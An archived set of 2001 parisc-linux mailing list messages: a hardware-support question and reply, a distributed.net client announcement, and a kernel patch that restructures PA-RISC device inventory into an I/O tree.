Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 12:03:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.trace.fr (smtp.trace.fr [194.206.42.105])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0A71482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 12:03:26 -0600 (MDT)
Original-Received: from mehaban (localhost [127.0.0.1])
	(authenticated)
	by smtp.trace.fr (8.11.5/8.10.2) with ESMTP id f9JI3Ni01240
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 20:03:23 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:12732

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0015_01C158D9.BFC79480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello all

Does someone has a 715S/33 aka Strider-33 or 715S/50 aka Strider-50 ?

Does it work under Pa-Linux ?

--jean-yves

------=_NextPart_000_0015_01C158D9.BFC79480
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello all</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Does someone has a 715S/33 aka =
Strider-33 or=20
715S/50 aka Strider-50 ?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Does it work under Pa-Linux =
?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>--jean-yves</FONT></DIV></BODY></HTML>

------=_NextPart_000_0015_01C158D9.BFC79480--





From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715S/33 aka Strider-33
Date: Fri, 19 Oct 2001 20:45:14 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011019204514.A20662@parcelfarce.linux.theplanet.co.uk>
References: <001801c158c8$fd335db0$010101a8@TPDEV.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620653 28306 80.91.229.3 (22 Nov 2014 01:44:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jean-Yves GUILLEVIC <jyguillevic@trace.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 13:45:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD331482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 13:45:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ufZy-0005V7-00; Fri, 19 Oct 2001 20:45:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <001801c158c8$fd335db0$010101a8@TPDEV.local>; from jyguillevic@trace.fr on Fri, Oct 19, 2001 at 08:07:59PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12733

On Fri, Oct 19, 2001 at 08:07:59PM +0200, Jean-Yves GUILLEVIC wrote:
> Does someone has a 715S/33 aka Strider-33 or 715S/50 aka Strider-50 ?

Nobody's put one in the hardware database, so I presume not.

> Does it work under Pa-Linux ?

It might do.  As I understand it, the Strider & Trailways boxes
were PA-upgrades for m68k boxes.  I don't know how much was replaced
or altered.  I would love it if you would add an entry to the hwdb
(if it's still running HPUX) or send a boot-log from a recent kernel.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] distributed.net client available for PARISC/linux
Date: Fri, 19 Oct 2001 22:52:11 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0110192241220.758-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620653 28307 80.91.229.3 (22 Nov 2014 01:44:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:13 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 14:52:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62EE5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 14:52:13 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f9JKqBN06782
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 22:52:11 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12734

Hi,

for all those that do not wanna run seti clients I want to note that
there is a distributed.net client available compiled on a PARISC 1.1
(dynamically and static linked binaries).

So get your moo from
http://www.distributed.net/download/clients.html#linux

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] The long awaited iotree patch for System Map Firmware
Date: Fri, 19 Oct 2001 16:59:26 -0600
Lines: 800
Approved: news@gmane.org
Message-ID: <20011019165926.A31233@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="0OAP2g/MAC+5xKAE"
X-Trace: ger.gmane.org 1416620653 28311 80.91.229.3 (22 Nov 2014 01:44:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 19 17:00:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id C321F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Oct 2001 17:00:00 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 383C7BCE8; Fri, 19 Oct 2001 16:59:26 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12735

--0OAP2g/MAC+5xKAE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello parisc-linux hackers,

Here is the patch for the I/O Tree for the System Map firmware
boxes.  I believe the I/O tree for legacy firmware is already in
the cvs repository, and I need to get access to a PAT firmware
box to finish the iotree for PAT firmware.


Please test this patch out and report any problems.  I would
like to get this patch committed to the repository so we can
finally use the multiple IOMMUs present in the ccio boxes,
etc.


I have tested this patch on C200 and K460.

Thanks,

- Ryan

P.S. Thanks to willy for all his help, reviews and general
rewrite to put this patch in its current state!

--0OAP2g/MAC+5xKAE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="iotree-rbrad-willy.patch"

Index: arch/parisc/kernel/ccio-dma.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/ccio-dma.c,v
retrieving revision 1.42
diff -u -p -r1.42 ccio-dma.c
--- arch/parisc/kernel/ccio-dma.c	2001/10/04 16:30:43	1.42
+++ arch/parisc/kernel/ccio-dma.c	2001/10/19 22:39:04
@@ -208,6 +208,8 @@ static int ioc_count;
 #define MKIOVA(iovp,offset) (dma_addr_t)((long)iovp | (long)offset)
 #define ROUNDUP(x,y) ((x + ((y)-1)) & ~((y)-1))
 
+
+#define GET_IOC(dev) (ioc_list)
 /*
 ** Don't worry about the 150% average search length on a miss.
 ** If the search wraps around, and passes the res_hint, it will
@@ -638,7 +640,7 @@ static dma_addr_t 
 ccio_map_single(struct pci_dev *dev, void *addr, size_t size, int direction)
 {
 	int idx;
-	struct ioc *ioc = ioc_list;
+	struct ioc *ioc = GET_IOC(dev);
 	unsigned long flags;
 	dma_addr_t iovp;
 	dma_addr_t offset;
@@ -702,7 +704,7 @@ static void 
 ccio_unmap_single(struct pci_dev *dev, dma_addr_t iova, size_t size, 
 		  int direction)
 {
-	struct ioc *ioc = ioc_list; /* XXX: Use appropriate IOC for this dev */
+	struct ioc *ioc = GET_IOC(dev);
 	unsigned long flags; 
 	dma_addr_t offset = iova & ~IOVP_MASK;
 	
@@ -960,7 +962,7 @@ static int
 ccio_map_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, 
 	    int direction)
 {
-	struct ioc *ioc = ioc_list;
+	struct ioc *ioc = GET_IOC(dev);
 	int coalesced, filled = 0;
 	unsigned long flags;
 	unsigned long hint = hint_lookup[direction];
@@ -1023,8 +1025,7 @@ static void 
 ccio_unmap_sg(struct pci_dev *dev, struct scatterlist *sglist, int nents, 
 	      int direction)
 {
-	/* FIXME : see Multi-IOC below */
-	struct ioc *ioc = ioc_list;
+	struct ioc *ioc = GET_IOC(dev);
 
 	DBG_RUN_SG("%s() START %d entries,  %p,%x\n",
 		__FUNCTION__, nents, sglist->address, sglist->length);
@@ -1062,7 +1063,7 @@ static struct pci_dma_ops ccio_ops = {
 static int 
 ccio_proc_info(char *buf, char **start, off_t offset, int len)
 {
-	struct ioc *ioc = ioc_list;
+	struct ioc *ioc = GET_IOC(dev);
 
 	buf[0] = '\0';
 	while (ioc != NULL) {
@@ -1123,7 +1124,7 @@ ccio_proc_info(char *buf, char **start, 
 static int
 ccio_resource_map(char *buf, char **start, off_t offset, int len)
 {
-	struct ioc *ioc = ioc_list;
+	struct ioc *ioc = GET_IOC(dev);
 
 	buf[0] = '\0';
 	while (ioc != NULL) {
@@ -1153,7 +1154,7 @@ ccio_resource_map(char *buf, char **star
 void ccio_cujo20_fixup(struct parisc_device *dev, u32 iovp)
 {
 	unsigned int idx;
-	struct ioc *ioc = ioc_list;
+	struct ioc *ioc = GET_IOC(dev);
 	u8 *res_ptr;
 
 #ifdef CONFIG_PROC_FS
@@ -1336,7 +1337,7 @@ int do_native_bus_walk(unsigned long io_
  */
 static int ccio_probe(struct parisc_device *dev)
 {
-	int i, start_index, num_devices;
+	int i;
 	unsigned long io_io_low;
 	struct ioc *ioc, **ioc_p = &ioc_list;
 
@@ -1379,9 +1380,8 @@ static int ccio_probe(struct parisc_devi
 	io_io_low |= 0xffffffff00000000UL;
 #endif
 	printk(KERN_INFO "io_io_low: 0x%lx\n", io_io_low);
-	start_index = get_num_pa_dev();
-	num_devices = do_native_bus_walk(io_io_low);
-	print_pa_devices(start_index, num_devices);
+	walk_native_bus(io_io_low, dev);
+	print_subdevices(dev);
 	return 0;
 }
 
Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.28
diff -u -p -r1.28 drivers.c
--- arch/parisc/kernel/drivers.c	2001/10/05 17:02:32	1.28
+++ arch/parisc/kernel/drivers.c	2001/10/19 22:39:04
@@ -23,19 +23,47 @@
 #include <asm/io.h>
 #include <asm/pdc.h>
 
+static struct parisc_driver *pa_drivers;
+static struct parisc_device root;
 
-/* 
- * I'm assuming there'll never be 32 devices.  We should probably make
- * this more flexible.  
+/* This lock protects the pa_drivers list _only_ since all parisc_devices
+ * are registered before smp_init() is called.  If you wish to add devices
+ * after that, this muct be serialised somehow.  I recommend a semaphore
+ * rather than a spinlock since driver ->probe functions are allowed to
+ * sleep (for example when allocating memory).
  */
+static spinlock_t pa_lock = SPIN_LOCK_UNLOCKED;
 
-#define MAX_DEVICES 32
+#define for_each_padev(dev) \
+	for (dev = root.child; dev != NULL; dev = next_dev(dev))
 
-static int num_devices;
-static struct parisc_device pa_devices[MAX_DEVICES];
-static struct parisc_driver *pa_drivers;
-static rwlock_t pa_lock = RW_LOCK_UNLOCKED;
+#define bus_for_each(dev) \
+	for (; dev != NULL; dev = dev->sibling)
+
+/**
+ * next_dev - enumerates registered devices
+ * @dev: the previous device returned from next_dev
+ *
+ * next_dev does a depth-first search of the tree, returning parents
+ * before children.  Returns NULL when there are no more devices.
+ */
+struct parisc_device *next_dev(struct parisc_device *dev)
+{
+	if (dev->child) {
+		return dev->child;
+	} else if (dev->sibling) {
+		return dev->sibling;
+	}
+
+	/* Exhausted tree at this level, time to go up. */
+	do {
+		dev = dev->parent;
+		if (dev && dev->sibling)
+			return dev->sibling;
+	} while (dev != &root);
 
+	return NULL;
+}
 
 /**
  * match_device - Report whether this driver can handle this device
@@ -45,9 +73,12 @@ static rwlock_t pa_lock = RW_LOCK_UNLOCK
 static int match_device(struct parisc_driver *driver, struct parisc_device *dev)
 {
 	const struct parisc_device_id *ids;
+
+	for (ids = driver->id_table; ids->sversion; ids++) {
+		if ((ids->sversion != SVERSION_ANY_ID) &&
+		    (ids->sversion != dev->id.sversion))
+			continue;
 
-	for (ids = driver->id_table; ids->hw_type || ids->hversion ||
-			ids->hversion_rev || ids->sversion; ids++) {
 		if ((ids->hw_type != HWTYPE_ANY_ID) &&
 		    (ids->hw_type != dev->id.hw_type))
 			continue;
@@ -60,14 +91,9 @@ static int match_device(struct parisc_dr
 		    (ids->hversion_rev != dev->id.hversion_rev))
 			continue;
 
-		if ((ids->sversion != SVERSION_ANY_ID) &&
-		    (ids->sversion != dev->id.sversion))
-			continue;
-
 		return 1;
 	}
 	return 0;
-
 }
 
 /**
@@ -76,7 +102,7 @@ static int match_device(struct parisc_dr
  */
 int register_parisc_driver(struct parisc_driver *driver)
 {
-	int i;
+	struct parisc_device *device;
 
 	if (driver->next) {
 		printk(KERN_WARNING 
@@ -84,19 +110,8 @@ int register_parisc_driver(struct parisc
 		       driver->name, driver->version);
 		return 1;
 	}
-
-	write_lock(&pa_lock);
 
-	/* Note that the list is in reverse order of registration.  This
-	 * may be significant if we ever actually support hotplug and have
-	 * multiple drivers capable of claiming the same chip.
-	 */
-	driver->next = pa_drivers;
-	pa_drivers = driver;
-	
-	for (i=0; i < num_devices; i++) {
-		struct parisc_device *device = &pa_devices[i];
-
+	for_each_padev(device) {
 		if (device->driver)
 			continue;
 		if (!match_device(driver, device))
@@ -112,8 +127,16 @@ int register_parisc_driver(struct parisc
 		}
 	}
 
-	write_unlock(&pa_lock);
+	/* Note that the list is in reverse order of registration.  This
+	 * may be significant if we ever actually support hotplug and have
+	 * multiple drivers capable of claiming the same chip.
+	 */
 
+	spin_lock(&pa_lock);
+	driver->next = pa_drivers;
+	pa_drivers = driver;
+	spin_unlock(&pa_lock);
+
 	return 0;
 }
 
@@ -125,9 +148,9 @@ int register_parisc_driver(struct parisc
  */
 int unregister_parisc_driver(struct parisc_driver *driver)
 {
-	int i;
+	struct parisc_device *dev;
 
-	write_lock(&pa_lock);
+	spin_lock(&pa_lock);
 
 	if (pa_drivers == driver) {
 		/* was head of list - update head */
@@ -149,65 +172,123 @@ int unregister_parisc_driver(struct pari
 
 	}
 
-	for (i=0; i < num_devices; i++) {
-		if (pa_devices[i].driver == driver)
-			pa_devices[i].driver = NULL;
-	}
+	spin_unlock(&pa_lock);
 
-	write_unlock(&pa_lock);
+	for_each_padev(dev) {
+		if (dev->driver == driver)
+			dev->driver = NULL;
+	}
 
 	return 0;
 }
 
+static struct parisc_device *find_device_by_addr(unsigned long hpa)
+{
+	struct parisc_device *dev;
+	for_each_padev(dev) {
+		if (dev->hpa == hpa)
+			return dev;
+	}
+	return NULL;
+}
+
+static void
+get_node_path(struct parisc_device *dev, struct pdc_module_path *path)
+{
+	int i = 5;
+	memset(&path->bc, -1, 6);
+	while (dev != &root) {
+		path->bc[i--] = dev->hw_path;
+		dev = dev->parent;
+	}
+}
+
+static void print_hwpath(struct parisc_device *dev, char *output)
+{
+	int i;
+	struct pdc_module_path path;
+
+	get_node_path(dev->parent, &path);
+	for (i = 0; i < 6; i++) {
+		if (path.bc[i] == -1)
+			continue;
+		output += sprintf(output, "%d/", path.bc[i]);
+	}
+	sprintf(output, "%d", dev->hw_path);
+}
 
 /**
- * get_num_pa_dev - Get the count of found devices
- * (currently only used by the ccio driver)
+ * alloc_tree_node - returns a device entry in the iotree
+ * @parent: the parent node in the tree
+ * @id: the element of the module path for this entry
+ *
+ * Checks all the children of @parent for a matching @id.  If none
+ * found, it allocates a new device and returns it.
  */
-int get_num_pa_dev(void)
+struct parisc_device *
+alloc_tree_node(struct parisc_device *parent, char id)
 {
-	int i;
+	struct parisc_device *dev, *prev;
+	if ((!parent->child) || (parent->child->hw_path > id)) {
+		dev = kmalloc(sizeof(*dev), GFP_KERNEL);
+		memset(dev, 0, sizeof(*dev));
+		dev->hw_path = id;
+		dev->parent = parent;
+		dev->sibling = parent->child;
+		parent->child = dev;
+		return dev;
+	}
+	
+	prev = parent->child;
+	if(prev->hw_path == id)
+		return prev;
+
+	while (prev->sibling && prev->sibling->hw_path < id) {
+		prev = prev->sibling;
+	}
 	
-	read_lock(&pa_lock);
-	i = num_devices;
-	read_unlock(&pa_lock);
+	if ((prev->sibling) && (prev->sibling->hw_path == id))
+		return prev->sibling;
 
-	return i;
+	dev = kmalloc(sizeof(*dev), GFP_KERNEL);
+	memset(dev, 0, sizeof(*dev));
+	dev->hw_path = id;
+	dev->parent = parent;
+	dev->sibling = prev->sibling;
+	prev->sibling = dev;
+	return dev;
 }
 
-struct parisc_device *alloc_pa_dev(unsigned long hpa)
+static struct parisc_device *find_parisc_device(struct pdc_module_path *modpath)
 {
-	int i, status;
+	int i;
+	struct parisc_device *parent = &root;
+	for (i = 0; i < 6; i++) {
+		if (modpath->bc[i] == -1)
+			continue;
+		parent = alloc_tree_node(parent, modpath->bc[i]);
+	}
+	return alloc_tree_node(parent, modpath->mod);
+}
+
+struct parisc_device *
+alloc_pa_dev(unsigned long hpa, struct pdc_module_path *mod_path)
+{
+	int status;
 	unsigned long bytecnt;
 	u8 iodc_data[32];
 	struct parisc_device *dev;
 	const char *name;
 
-	write_lock(&pa_lock);
-
-	/* Check to make sure this device has not already been added -Ryan */
-	for (i = 0; i < num_devices; i++) {
-		if (pa_devices[i].hpa == hpa) {
-			write_unlock(&pa_lock);
-			return NULL;
-		}
-	}
-
-	if (num_devices >= MAX_DEVICES) {
-		printk(KERN_ERR "%s: Too many devices.\n", __FUNCTION__ );
-		write_unlock(&pa_lock);
+	/* Check to make sure this device has not already been added - Ryan */
+	if (find_device_by_addr(hpa) != NULL)
 		return NULL;
-	}
-	
-	dev = &pa_devices[num_devices];
-	memset(dev, 0, sizeof(*dev));
-	
+
 	status = pdc_iodc_read(&bytecnt, hpa, 0, &iodc_data, 32);
-	if (status != PDC_OK) {
-		/* There is no device here, so we'll skip it */
-		write_unlock(&pa_lock);
+	if (status != PDC_OK)
 		return NULL;
-	}
+
+	dev = find_parisc_device(mod_path);
 
 	dev->id.hw_type = iodc_data[3] & 0x1f;
 	dev->id.hversion = (iodc_data[0] << 4) | ((iodc_data[1] & 0xf0) >> 4);
@@ -220,9 +301,6 @@ struct parisc_device *alloc_pa_dev(unsig
 		strncpy(dev->name, name, sizeof(dev->name)-1);
 	}
 
-	num_devices++;
-
-	write_unlock(&pa_lock);
 	return dev;
 }
 
@@ -243,7 +321,7 @@ int register_parisc_device(struct parisc
 	if (dev->driver)
 		return 1;
 	
-	write_lock(&pa_lock);
+	spin_lock(&pa_lock);
 
 	/* Locate a driver which agrees to manage this device.  */
 	for (driver = pa_drivers; driver; driver = driver->next) {
@@ -254,45 +332,85 @@ int register_parisc_device(struct parisc
 	}
 
 	dev->driver = driver;
-	write_unlock(&pa_lock);
+	spin_unlock(&pa_lock);
 	return driver != NULL;
 }
 
+#define MAX_NATIVE_DEVICES 64
+#define NATIVE_DEVICE_OFFSET 0x1000
 
 /**
- * print_pa_devices - Print out a list of devices found in this system
- * @start_index: the starting index from which the list should be printed
- * @num_indexes: the numbers of devices to print
+ * do_native_bus_walk -- Probe a bus for devices
+ * @addr: Base address of this bus.
+ * 
+ * A native bus (eg Runway or GSC) may have up to 64 devices on it,
+ * spaced at intervals of 0x1000 bytes.  PDC may not inform us of these
+ * devices, so we have to probe for them.  Unfortunately, we may find
+ * devices which are not physically connected (such as extra serial &
+ * keyboard ports).  This problem is not yet solved.
  */
-void print_pa_devices(int start_index, int num_indexes)
+void walk_native_bus(unsigned long addr, struct parisc_device *parent)
 {
-	unsigned int i;
-	struct parisc_device *d;
+	int i;
+	struct pdc_module_path path;
+	get_node_path(parent, &path);
+	for (i = 0; i < MAX_NATIVE_DEVICES; i++) {
+		struct parisc_device *dev;
+		path.mod = i;
+		dev = alloc_pa_dev(addr + i * NATIVE_DEVICE_OFFSET, &path);
+		if (!dev)
+			continue;
+		register_parisc_device(dev);
+	}
+}
 
-	read_lock(&pa_lock);
-	
-	for (i = start_index; i < start_index + num_indexes; i++) {
-		
-		if (i >= MAX_DEVICES)
-			break;
-		
-		d = &pa_devices[i];
-		
-		printk(KERN_INFO
-		"%d. %s (%d) at 0x%lx, versions 0x%x, 0x%x, 0x%x",
-		i + 1, d->name,	d->id.hw_type, d->hpa, 
-		d->id.hversion, d->id.hversion_rev, d->id.sversion);
-
-		if (d->num_addrs > 1) {
-			int k;
-			printk(",  additional addresses: ");
-			for (k = 1; k < d->num_addrs; k++)
-				printk("0x%lx ", d->addr[k]);
-		}
+#define CENTRAL_BUS_ADDR (unsigned long) 0xfffffffffff80000
+
+/**
+ * walk_central_bus - Find devices attached to the central bus
+ *
+ * PDC doesn't tell us about all devices in the system.  This routine
+ * finds devices connected to the central bus.
+ */
+void walk_central_bus(void)
+{
+	walk_native_bus(CENTRAL_BUS_ADDR, &root);
+}
+
+static void print_parisc_device(struct parisc_device *dev)
+{
+	char hw_path[64];
+	static int count;
 
-		printk("\n");
+	print_hwpath(dev, hw_path);
+	printk(KERN_INFO "%d. %s (%d) at 0x%lx [%s], versions 0x%x, 0x%x, 0x%x",
+		++count, dev->name, dev->id.hw_type, dev->hpa, hw_path,
+		dev->id.hversion, dev->id.hversion_rev, dev->id.sversion);
+
+	if (dev->num_addrs > 1) {
+		int k;
+		printk(",  additional addresses: ");
+		for (k = 1; k < dev->num_addrs; k++)
+			printk("0x%lx ", dev->addr[k]);
 	}
+	printk("\n");
+}
 
-	read_unlock(&pa_lock);
+void print_subdevices(struct parisc_device *parent)
+{
+	struct parisc_device *dev;
+	for (dev = parent->child; dev != parent->sibling; dev = next_dev(dev)) {
+		print_parisc_device(dev);
+	}
 }
 
+/**
+ * print_parisc_devices - Print out a list of devices found in this system
+ */
+void print_parisc_devices(void)
+{
+	struct parisc_device *dev;
+	for_each_padev(dev) {
+		print_parisc_device(dev);
+	}
+}
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/inventory.c,v
retrieving revision 1.41
diff -u -p -r1.41 inventory.c
--- arch/parisc/kernel/inventory.c	2001/10/11 23:43:27	1.41
+++ arch/parisc/kernel/inventory.c	2001/10/19 22:39:04
@@ -184,7 +184,7 @@ pat_query_module(ulong pcell_loc, ulong 
 	}
 
 	temp = pa_pdc_cell.cba;
-	dev = alloc_pa_dev(PAT_GET_CBA(temp));	/* sets dev->hpa */
+	dev = alloc_pa_dev(PAT_GET_CBA(temp), NULL);	/* sets dev->hpa */
 	if (!dev) {
 		return PDC_NE_MOD;
 	}
@@ -406,7 +406,7 @@ static void __init sprockets_memconfig(v
 
 #else   /* !__LP64__ */
 
-#define pat_inventory() (0)
+#define pat_inventory() do { } while (0)
 #define pat_memconfig() do { } while (0)
 #define sprockets_memconfig() pagezero_memconfig()
 
@@ -426,7 +426,7 @@ legacy_create_device(struct pdc_memory_m
 	if (status != PDC_OK)
 		return NULL;
 
-	dev = alloc_pa_dev(r_addr->hpa);
+	dev = alloc_pa_dev(r_addr->hpa, module_path);
 	if (dev == NULL)
 		return NULL;
 
@@ -500,36 +500,6 @@ static int __init snake_inventory(void)
 
 /* Common 32/64 bit based code goes here */
 
-#define MAX_NATIVE_DEVICES 64
-#define NATIVE_DEVICE_OFFSET 0x1000
-
-/**
- * do_native_bus_walk -- Probe a bus for devices
- * @hpa: Base address of this bus.
- *
- * A native bus (eg Runway or GSC) may have up to 64 devices on it,
- * spaced at intervals of 0x1000 bytes.  PDC may not inform us of these
- * devices, so we have to probe for them.  Unfortunately, we may find
- * devices which are not physically connected (such as extra serial &
- * keyboard ports).  This problem is not yet solved.
- */
-int do_native_bus_walk(unsigned long hpa)
-{
-	int num = 0;
-	unsigned long hpa_end =
-	    hpa + (MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET);
-
-	for (; hpa < hpa_end; hpa += NATIVE_DEVICE_OFFSET) {
-		struct parisc_device *dev = alloc_pa_dev(hpa);
-		if (!dev)
-			continue;
-
-		register_parisc_device(dev);
-		++num;
-	}
-	return num;
-}
-
 /**
  * add_system_map_addresses - Add additional addresses to the parisc device.
  * @dev: The parisc device.
@@ -568,17 +538,15 @@ add_system_map_addresses(struct parisc_d
 	}
 }
 
-#define CENTRAL_BUS_ADDR (unsigned long)(signed int)0xFFF80000
-
 /**
  * do_system_map_inventory - Retrieve firmware devices via SYSTEM_MAP.
  *
  * This function attempts to retrieve and register all the devices firmware
  * knows about via the SYSTEM_MAP PDC call.
  */
-static int __init system_map_inventory(void)
+static void __init system_map_inventory(void)
 {
-	int i, num = 0;
+	int i;
 	long status = PDC_OK;
 
 	for (i = 0; status != PDC_BAD_PROC && status != PDC_NE_MOD; i++) {
@@ -591,12 +559,11 @@ static int __init system_map_inventory(v
 		if (status != PDC_OK)
 			continue;
 		
-		dev = alloc_pa_dev(module_result.mod_addr);
+		dev = alloc_pa_dev(module_result.mod_addr, &module_path);
 		if (!dev)
 			continue;
 		
 		register_parisc_device(dev);
-		++num;
 
 		/* if available, get the additional addresses for a module */
 		if (!module_result.add_addrs)
@@ -605,8 +572,8 @@ static int __init system_map_inventory(v
 		add_system_map_addresses(dev, module_result.add_addrs, i);
 	}
 
-	num += do_native_bus_walk(CENTRAL_BUS_ADDR);
-	return num;
+	walk_central_bus();
+	return;
 }
 
 void __init do_memory_inventory(void)
@@ -638,33 +605,26 @@ void __init do_memory_inventory(void)
 
 void __init do_device_inventory(void)
 {
-	int num;
-
 	printk(KERN_INFO "Searching for devices...\n");
 
 	switch (pdc_type) {
 
 	case PDC_TYPE_PAT:
-		num = pat_inventory();
+		pat_inventory();
 		break;
 
 	case PDC_TYPE_SYSTEM_MAP:
-		num = system_map_inventory();
+		system_map_inventory();
 		break;
 
 	case PDC_TYPE_LEGACY:
-		num = snake_inventory();
+		snake_inventory();
 		break;
 
 	default:
 		panic("Unknown PDC type!\n");
 	}
 
-	if (!num) {
-		panic("I can't get the hardware inventory on this machine");
-	}
-
 	printk(KERN_INFO "Found devices:\n");
-	print_pa_devices(0, num);
-	printk(KERN_INFO "That's a total of %d devices.\n", num);
+	print_parisc_devices();
 }
Index: arch/parisc/kernel/led.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/led.c,v
retrieving revision 1.23
diff -u -p -r1.23 led.c
--- arch/parisc/kernel/led.c	2001/10/10 19:01:25	1.23
+++ arch/parisc/kernel/led.c	2001/10/19 22:39:05
@@ -154,8 +154,7 @@ static int led_proc_read(char *page, cha
 static int led_proc_write(struct file *file, const char *buf, 
 	unsigned long count, void *data)
 {
-	const char *cur = NULL;
-	char lbuf[count];
+	char *cur, lbuf[count];
 	int d;
 
 	if (!capable(CAP_SYS_ADMIN))
@@ -163,7 +162,7 @@ static int led_proc_write(struct file *f
 
 	memset(lbuf, 0, count);
 
-	lcopy_from_user(lbuf, buf, count);
+	copy_from_user(lbuf, buf, count);
 	cur = lbuf;
 
 	/* skip initial spaces */
Index: include/asm-parisc/hardware.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/hardware.h,v
retrieving revision 1.24
diff -u -p -r1.24 hardware.h
